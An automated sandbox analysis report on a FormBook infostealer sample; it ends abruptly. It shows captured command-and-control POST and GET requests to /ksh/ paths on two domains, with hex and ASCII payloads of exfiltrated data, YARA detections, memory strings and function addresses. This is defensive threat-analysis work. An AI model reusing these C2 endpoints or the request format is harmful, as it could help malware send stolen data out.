Source: global traffic HTTP traffic detected: POST /ksh/ HTTP/1.1Host: www.thelocaladda.comConnection: closeContent-Length: 413Cache-Control: no-cacheOrigin: http://www.thelocaladda.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.thelocaladda.com/ksh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 41 54 78 78 51 78 4b 3d 35 7a 43 55 73 4a 36 4f 4d 44 34 64 51 39 4f 77 6c 33 53 73 77 52 43 4d 77 4f 72 48 4d 76 68 77 62 71 7e 43 68 36 61 41 71 58 28 76 4b 30 75 38 44 5a 73 2d 31 2d 48 73 53 76 4e 64 6b 44 4a 5f 6c 70 4b 52 65 6e 6c 34 50 63 69 55 4c 64 58 58 49 55 6d 7a 43 77 43 76 7a 56 52 62 68 63 6a 6d 76 47 59 69 39 33 72 67 66 69 66 5a 72 79 79 38 6c 77 61 49 72 6f 72 69 4b 35 35 65 52 6f 38 74 4f 75 55 30 31 76 37 4d 31 41 38 78 52 6b 4a 47 55 68 55 62 77 67 77 5f 58 75 44 48 79 70 35 77 6b 74 49 5f 47 68 79 73 55 6a 69 42 65 79 32 4e 30 4a 54 66 5a 61 30 71 53 45 76 7a 36 62 75 62 28 39 47 73 58 48 66 64 70 59 55 33 4b 6d 34 79 49 5a 73 50 57 4f 49 4d 63 46 57 56 6e 73 38 39 61 47 65 7a 65 38 64 74 79 44 33 6a 6a 6b 79 6c 4b 70 69 33 73 68 61 46 59 34 4b 47 47 65 49 41 76 63 41 58 75 5a 68 4e 75 70 31 35 5a 71 47 52 39 70 35 75 37 69 32 77 32 63 52 59 34 77 71 56 34 42 70 43 4a 56 6d 52 38 6e 69 38 49 5a 34 73 78 39 52 31 6a 5f 65 49 67 46 68 59 67 73 61 51 36 37 6e 45 7e 55 56 32 41 79 32 39 55 54 62 30 62 6e 6e 54 7e 6a 73 71 7a 43 4e 63 64 33 34 4b 57 78 38 72 57 2d 37 4a 6a 6b 6f 5f 79 69 5a 48 32 70 30 54 53 67 62 64 69 32 6e 71 6d 47 58 4e 35 55 4b 63 55 41 65 58 56 48 49 56 36 41 7a 72 69 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ATxxQxK=5zCUsJ6OMD4dQ9Owl3SswRCMwOrHMvhwbq~Ch6aAqX(vK0u8DZs-1-HsSvNdkDJ_lpKRenl4PciULdXXIUmzCwCvzVRbhcjmvGYi93rgfifZryy8lwaIroriK55eRo8tOuU01v7M1A8xRkJGUhUbwgw_XuDHyp5wktI_GhysUjiBey2N0JTfZa0qSEvz6bub(9GsXHfdpYU3Km4yIZsPWOIMcFWVns89aGeze8dtyD3jjkylKpi3shaFY4KGGeIAvcAXuZhNup15ZqGR9p5u7i2w2cRY4wqV4BpCJVmR8ni8IZ4sx9R1j_eIgFhYgsaQ67nE~UV2Ay29UTb0bnnT~jsqzCNcd34KWx8rW-7Jjko_yiZH2p0TSgbdi2nqmGXN5UKcUAeXVHIV6AzriA). Source: global traffic HTTP traffic detected: POST /ksh/ HTTP/1.1Host: www.thelocaladda.comConnection: closeContent-Length: 184809Cache-Control: no-cacheOrigin: http://www.thelocaladda.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.thelocaladda.com/ksh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 41 54 78 78 51 78 4b 3d 35 7a 43 55 73 49 79 77 4e 7a 38 41 62 75 71 78 6b 6a 4f 6b 30 52 7a 53 30 4e 65 42 46 64 67 4a 53 59 37 66 68 37 71 63 6e 32 50 62 5a 6c 65 38 49 37 31 32 78 65 48 72 55 76 4e 65 67 44 55 47 35 50 50 63 65 6d 68 47 50 63 71 54 46 37 54 65 49 45 6e 31 42 51 47 66 37 31 45 66 68 65 6e 58 75 6b 31 78 33 58 6e 67 62 53 58 62 67 79 50 75 73 52 57 78 31 4a 48 6e 4d 49 51 59 53 66 4d 5a 4e 4e 70 52 6b 75 6e 4b 6b 43 67 71 4e 31 35 36 65 57 41 75 7e 51 4d 34 59 49 65 61 76 59 31 38 6a 6f 70 4b 61 7a 61 74 57 54 71 4c 50 41 75 76 78 34 48 69 65 4c 46 4d 53 44 79 49 69 64 4f 47 31 65 79 6b 4d 55 4c 33 6d 4e 6b 70 45 31 51 71 43 36 45 59 51 4f 55 7a 54 6e 28 54 6a 5f 6f 6f 5a 45 58 30 51 39 45 56 28 52 66 76 70 77 33 61 4e 2d 36 76 77 52 72 56 51 66 75 72 4f 74 52 50 6f 66 73 6c 68 5a 67 6a 6f 5a 31 44 53 36 47 44 6f 35 39 35 37 78 76 51 32 66 42 77 32 41 47 49 37 45 70 43 54 45 32 69 7a 33 79 34 64 35 6f 55 31 2d 64 36 34 34 75 42 6a 46 67 66 67 75 79 50 36 37 6e 69 7e 56 55 68 41 47 65 39 56 42 54 72 59 41 7a 50 38 6a 74 6f 30 57 68 53 47 77 51 61 57 79 4d 72 4d 72 47 65 6a 55 51 5f 34 52 78 45 33 4c 63 54 52 51 62 64 6f 6d 6d 39 6a 47 79 6d 39 68 28 50 52 69 79 48 61 54 68 31 79 7a 61 77 33 2d 6c 42 44 56 7a 54 63 50 77 58 36 56 4d 70 70 55 75 61 65 6d 79 5f 59 73 77 74 76 64 65 4c 58 67 55 72 38 34 45 59 6a 53 41 56 37 4b 4c 68 6a 6d 55 6f 61 6b 6e 33 67 6f 6a 52 67 6d 77 6d 6b 2d 72 69 75 77 31 6f 6a 36 73 68 39 74 58 75 57 33 73 45 65 5a 37 69 32 56 71 63 67 33 7e 4b 47 55 58 57 6a 73 70 73 37 69 78 68 4b 69 74 33 72 64 56 6f 61 6e 74 49 28 43 31 5f 4b 6a 70 45 50 72 42 54 33 34 39 69 44 44 67 67 62 44 48 32 37 47 78 5a 73 48 66 31 34 65 71 33 52 44 70 69 70 54 30 58 48 51 30 31 6a 2d 6e 4b 56 72 41 54 4e 4f 4e 34 53 54 38 6b 71 64 42 62 72 79 55 42 55 53 67 6d 76 54 54 5a 6d 50 4a 36 36 54 69 31 39 37 54 41 52 50 38 42 35 75 63 68 59 6e 59 55 41 43 49 4b 45 62 32 68 43 71 7a 57 51 76 61 50 43 57 74 75 49 73 71 77 6c 77 43 41 33 70 75 48 4a 35 35 30 44 4f 50 70 32 4c 71 47 64 4a 74 73 38 57 38 5a 4c 30 46 6e 7a 70 61 76 4f 78 43 4e 54 4e 43 37 28 63 4f 61 42 39 48 68 41 4a 39 57 57 58 43 30 42 56 75 63 64 5f 42 58 6b 39 6c 35 28 78 69 6a 63 52 70 52 63 5f 4d 69 76 47 31 35 4a 4c 7a 41 6b 4c 69 33 31 35 5a 49 39 4f 67 4e 4a 77 6d 66 68 68 4d 65 45 70 72 6a 34 61 4c 6a 7a 33 66 55 67 36 4d 2d 74 73 68 55 58 7a 63 30 66 52 78 58 76 63 30 39 77 7a 38 56 6a 68 6d 6d 52 66 4e 31 52 6d 54 58 66 66 6d 66 74 55 72 61 5a 50 68 77 4c 5f 6d 58 75 48 6c 45 38 55 57 58 66 4c 6c 35 48 70 35 35 6d 71 76 45 28 67 53 53 33 49 62 56 4f 6b 3 Source: global traffic HTTP traffic detected: POST /ksh/ HTTP/1.1Host: www.kingofinvest.comConnection: closeContent-Length: 413Cache-Control: no-cacheOrigin: http://www.kingofinvest.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.kingofinvest.com/ksh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 41 54 78 78 51 78 4b 3d 52 48 52 31 6d 6c 4d 39 56 42 76 5a 4a 67 71 72 7e 67 65 75 68 4d 58 43 63 64 42 7a 54 44 53 64 62 38 42 4f 4b 53 64 63 34 5f 77 37 79 4e 48 71 31 30 78 52 75 70 77 31 58 4b 54 76 33 74 79 64 78 48 4f 5f 65 71 71 74 61 44 4d 6b 36 47 62 74 52 74 36 66 50 32 6f 6c 62 4f 33 50 63 50 4b 35 62 69 43 2d 54 46 66 6b 28 58 75 39 56 7a 6f 6f 61 36 4c 44 4e 74 68 57 37 2d 65 47 35 34 44 55 75 35 41 6a 55 38 6e 41 58 4a 75 69 61 6e 48 68 55 59 37 65 73 65 4a 4e 78 70 69 49 6e 66 56 55 68 2d 5a 45 72 41 68 53 4a 6b 64 66 46 69 50 38 42 6b 6e 58 6a 6b 79 38 37 5a 75 4c 62 44 4c 7a 37 51 6c 62 74 70 36 4a 55 59 43 57 73 54 48 32 62 30 4e 41 59 4e 45 69 38 5f 74 45 43 74 52 4f 49 7a 39 2d 58 2d 75 46 56 4a 44 77 46 57 65 4b 6d 34 4d 76 6a 73 35 49 69 4f 79 74 30 73 66 41 66 63 61 44 70 55 39 32 31 58 74 52 4e 52 73 64 78 4f 68 62 71 33 4c 45 66 78 59 72 30 77 57 34 78 73 6b 5a 44 4f 45 45 56 37 53 73 6b 35 34 4d 65 45 64 45 4b 35 68 37 59 6d 68 62 48 52 6b 42 52 31 69 63 66 33 7e 45 32 71 45 5f 68 78 46 62 6c 45 67 4f 6c 4d 44 34 42 58 63 75 58 52 41 76 79 32 48 56 53 49 45 6e 65 67 35 68 39 59 77 48 34 39 45 33 55 30 47 67 7e 61 76 65 33 34 63 55 4c 4d 50 73 31 36 66 45 77 52 76 54 64 31 6a 6e 31 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ATxxQxK=RHR1mlM9VBvZJgqr~geuhMXCcdBzTDSdb8BOKSdc4_w7yNHq10xRupw1XKTv3tydxHO_eqqtaDMk6GbtRt6fP2olbO3PcPK5biC-TFfk(Xu9Vzooa6LDNthW7-eG54DUu5AjU8nAXJuianHhUY7eseJNxpiInfVUh-ZErAhSJkdfFiP8BknXjky87ZuLbDLz7Qlbtp6JUYCWsTH2b0NAYNEi8_tECtROIz9-X-uFVJDwFWeKm4Mvjs5IiOyt0sfAfcaDpU921XtRNRsdxOhbq3LEfxYr0wW4xskZDOEEV7Ssk54MeEdEK5h7YmhbHRkBR1icf3~E2qE_hxFblEgOlMD4BXcuXRAvy2HVSIEneg5h9YwH49E3U0Gg~ave34cULMPs16fEwRvTd1jn1A). Source: global traffic HTTP traffic detected: POST /ksh/ HTTP/1.1Host: www.kingofinvest.comConnection: closeContent-Length: 184809Cache-Control: no-cacheOrigin: http://www.kingofinvest.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.kingofinvest.com/ksh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 41 54 78 78 51 78 4b 3d 52 48 52 31 6d 6b 55 44 5a 52 36 66 65 69 7e 75 38 77 4f 51 72 63 6e 63 4c 4e 38 70 44 68 43 6e 46 39 68 6b 4b 54 4d 30 68 75 67 54 31 75 50 71 33 33 5a 63 6a 70 77 36 66 71 54 75 6d 64 32 50 38 33 6e 79 65 72 75 44 61 44 31 79 73 77 33 6f 53 39 36 75 4f 57 74 42 4b 65 7a 59 63 4e 7e 51 62 42 7a 34 55 46 6a 6b 31 48 47 5f 61 79 35 75 64 37 48 51 41 39 39 58 35 36 61 62 35 4f 28 38 76 61 38 64 64 64 37 43 56 4f 53 70 57 48 33 4a 43 62 62 42 69 75 4e 4b 7e 49 32 58 36 73 77 54 73 62 30 78 33 56 56 52 41 30 46 42 4f 41 57 44 45 51 57 68 76 55 43 6f 37 61 50 77 42 68 50 75 28 54 41 58 76 62 66 42 4e 38 36 55 31 79 48 59 4e 48 70 78 61 4e 55 64 68 4b 52 44 55 39 38 61 50 78 30 31 49 50 47 32 59 62 6e 43 4f 45 47 79 6c 72 67 6e 72 4d 70 6e 75 70 48 74 6d 39 7e 4e 63 65 33 51 32 45 39 64 33 58 74 56 5a 78 73 4c 36 49 39 71 70 48 61 69 66 79 34 48 7e 44 43 39 79 71 6b 5a 4e 4c 5a 34 58 4c 43 65 72 74 45 65 54 6e 78 44 49 2d 68 59 64 6d 68 39 48 51 49 38 52 31 69 51 66 32 7e 2d 6b 6f 34 5f 6e 6b 4a 79 78 44 55 34 6a 4d 43 69 43 44 34 73 4d 58 73 5f 79 79 6a 56 41 4e 41 4e 65 54 5a 68 72 5a 41 45 34 5a 51 33 56 6b 47 67 34 61 75 6f 37 34 31 48 50 4f 69 52 6b 35 54 73 31 6e 65 6a 59 55 4b 66 70 62 62 71 37 52 37 35 4e 56 4d 71 77 5a 59 4c 47 2d 4e 67 76 32 69 54 64 75 4b 52 6e 69 7e 5a 4c 43 46 62 66 79 4d 30 50 5f 33 34 67 50 69 6d 45 32 76 35 4e 6b 34 57 71 6a 6a 74 6e 72 42 66 66 39 70 6d 32 48 37 42 4f 6e 31 66 30 54 50 4a 52 4c 6e 41 67 46 64 43 32 69 53 4a 54 4d 6a 31 51 47 54 38 59 44 50 30 61 4b 68 74 28 57 78 30 6f 76 72 41 69 43 58 47 42 4c 68 70 6e 7a 62 71 4b 56 65 50 36 57 72 2d 28 4e 71 69 5a 79 56 5f 38 5a 56 62 57 43 39 71 4d 69 42 65 79 5a 58 47 62 65 75 70 52 4c 38 61 44 70 59 36 4b 68 65 5a 4a 5f 49 46 42 44 35 30 64 49 63 7a 76 61 76 6e 6e 54 42 62 75 75 54 54 62 2d 39 52 32 79 65 75 61 61 49 75 5a 4d 43 70 28 48 49 57 59 56 4f 58 55 70 79 78 4f 31 4a 51 79 4e 54 7a 53 65 62 74 36 77 66 4f 58 58 42 63 77 39 7a 74 57 6d 69 6b 54 44 37 4f 6b 5f 7e 48 57 4b 34 63 78 5a 44 4d 37 52 59 37 44 35 28 72 35 47 4e 62 67 41 68 78 34 33 45 44 63 32 4e 2d 54 50 5a 49 78 47 44 59 4a 65 54 55 56 52 64 6d 6e 66 73 71 4e 37 39 7a 69 79 67 59 51 49 6e 76 70 30 55 64 41 44 36 62 45 62 59 51 59 67 6e 48 69 73 71 6e 66 38 61 74 42 53 38 51 33 4d 54 53 6e 61 33 32 42 37 68 35 75 6e 71 6b 75 5a 78 58 6a 62 32 33 6f 67 49 67 4c 44 47 56 75 72 52 67 28 46 39 34 41 77 35 52 64 37 52 5a 79 35 71 55 72 33 43 7a 63 7a 63 55 72 31 4c 35 66 49 4d 41 34 41 49 56 4a 4d 6d 70 5a 34 63 64 41 30 4b 63 53 70 6e 61 7e 59 4b 32 6f 47 71 31 72 54 2
Source: global traffic HTTP traffic detected: GET /ksh/?5jL=uFQxALFPNtNHURy&ATxxQxK=xROuys6hOw0xE+Dg7XC6mGOo/d7SGNs3P82B+JeimXH5Y1WQGK5kyuWTJN9Z6xMQi+6b HTTP/1.1Host: www.thelocaladda.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii: Source: global traffic HTTP traffic detected: GET /ksh/?ATxxQxK=ZldP4CUsQhXvJw3kkl/m6rn8dtomETaFfa4bezIFxsgv0fex9FlIh/12ILez0Zmx81j4&5jL=uFQxALFPNtNHURy HTTP/1.1Host: www.kingofinvest.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Performs DNS lookups Show sources
Source: unknown DNS traffic detected: queries for: cdn.discordapp.com
Posts data to webserver Show sources
Source: unknown HTTP traffic detected: POST /ksh/ HTTP/1.1Host: www.thelocaladda.comConnection: closeContent-Length: 413Cache-Control: no-cacheOrigin: http://www.thelocaladda.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.thelocaladda.com/ksh/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 41 54 78 78 51 78 4b 3d 35 7a 43 55 73 4a 36 4f 4d 44 34 64 51 39 4f 77 6c 33 53 73 77 52 43 4d 77 4f 72 48 4d 76 68 77 62 71 7e 43 68 36 61 41 71 58 28 76 4b 30 75 38 44 5a 73 2d 31 2d 48 73 53 76 4e 64 6b 44 4a 5f 6c 70 4b 52 65 6e 6c 34 50 63 69 55 4c 64 58 58 49 55 6d 7a 43 77 43 76 7a 56 52 62 68 63 6a 6d 76 47 59 69 39 33 72 67 66 69 66 5a 72 79 79 38 6c 77 61 49 72 6f 72 69 4b 35 35 65 52 6f 38 74 4f 75 55 30 31 76 37 4d 31 41 38 78 52 6b 4a 47 55 68 55 62 77 67 77 5f 58 75 44 48 79 70 35 77 6b 74 49 5f 47 68 79 73 55 6a 69 42 65 79 32 4e 30 4a 54 66 5a 61 30 71 53 45 76 7a 36 62 75 62 28 39 47 73 58 48 66 64 70 59 55 33 4b 6d 34 79 49 5a 73 50 57 4f 49 4d 63 46 57 56 6e 73 38 39 61 47 65 7a 65 38 64 74 79 44 33 6a 6a 6b 79 6c 4b 70 69 33 73 68 61 46 59 34 4b 47 47 65 49 41 76 63 41 58 75 5a 68 4e 75 70 31 35 5a 71 47 52 39 70 35 75 37 69 32 77 32 63 52 59 34 77 71 56 34 42 70 43 4a 56 6d 52 38 6e 69 38 49 5a 34 73 78 39 52 31 6a 5f 65 49 67 46 68 59 67 73 61 51 36 37 6e 45 7e 55 56 32 41 79 32 39 55 54 62 30 62 6e 6e 54 7e 6a 73 71 7a 43 4e 63 64 33 34 4b 57 78 38 72 57 2d 37 4a 6a 6b 6f 5f 79 69 5a 48 32 70 30 54 53 67 62 64 69 32 6e 71 6d 47 58 4e 35 55 4b 63 55 41 65 58 56 48 49 56 36 41 7a 72 69 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ATxxQxK=5zCUsJ6OMD4dQ9Owl3SswRCMwOrHMvhwbq~Ch6aAqX(vK0u8DZs-1-HsSvNdkDJ_lpKRenl4PciULdXXIUmzCwCvzVRbhcjmvGYi93rgfifZryy8lwaIroriK55eRo8tOuU01v7M1A8xRkJGUhUbwgw_XuDHyp5wktI_GhysUjiBey2N0JTfZa0qSEvz6bub(9GsXHfdpYU3Km4yIZsPWOIMcFWVns89aGeze8dtyD3jjkylKpi3shaFY4KGGeIAvcAXuZhNup15ZqGR9p5u7i2w2cRY4wqV4BpCJVmR8ni8IZ4sx9R1j_eIgFhYgsaQ67nE~UV2Ay29UTb0bnnT~jsqzCNcd34KWx8rW-7Jjko_yiZH2p0TSgbdi2nqmGXN5UKcUAeXVHIV6AzriA).
Urls found in memory or binary data Show sources
Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0 Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/? Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8 Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers? Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/ Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease Source: explorer.exe, 0000000F.00000000.308423618.000000000B156000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Uses HTTPS Show sources
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741 Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443 Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443 Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739 Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724 Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
### E-Banking Fraud:
Yara detected FormBook Show sources
Source: Yara match File source: 0000001D.00000002.399135517.0000000003800000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000019.00000002.474955241.0000000000910000.00000004.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000019.00000002.474675547.00000000007D0000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000009.00000002.343939921.00000000009A0000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 0000001E.00000002.397779969.0000000000F30000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000019.00000002.471509129.0000000000450000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 0000001D.00000002.395148815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000009.00000002.344896529.0000000002B30000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 00000009.00000002.343414825.0000000000400000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 0000001D.00000002.397372666.0000000003490000.00000040.00000001.sdmp, type: MEMORY Source: Yara match File source: 29.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Source: Yara match File source: 9.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE Source: Yara match File source: 9.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Source: Yara match File source: 29.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE
### System Summary:
Detected FormBook malware Show sources
Malicious sample detected (through community Yara rule) Show sources
Source: 0000001D.00000002.399135517.0000000003800000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 0000001D.00000002.399135517.0000000003800000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 00000019.00000002.474955241.0000000000910000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 00000019.00000002.474955241.0000000000910000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 00000019.00000002.474675547.00000000007D0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 00000019.00000002.474675547.00000000007D0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 00000009.00000002.343939921.00000000009A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 00000009.00000002.343939921.00000000009A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 0000001E.00000002.397779969.0000000000F30000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 0000001E.00000002.397779969.0000000000F30000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 00000019.00000002.471509129.0000000000450000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 00000019.00000002.471509129.0000000000450000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 0000001D.00000002.395148815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 0000001D.00000002.395148815.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 00000009.00000002.344896529.0000000002B30000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 00000009.00000002.344896529.0000000002B30000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 00000009.00000002.343414825.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 00000009.00000002.343414825.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 0000001D.00000002.397372666.0000000003490000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 0000001D.00000002.397372666.0000000003490000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 29.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 29.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 9.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 9.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 9.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 9.2.ieinstal.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group Source: 29.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com Source: 29.2.ieinstal.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions Show sources
Detected potential crypto function Show sources
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_00401030 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041D97B Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041DADA Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041DBC0 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_00402D90 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041DDA4 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041E654 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041DE0B Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_00409E2E Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_00409E30 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041CEE3 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 9_2_0041CEE6 Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 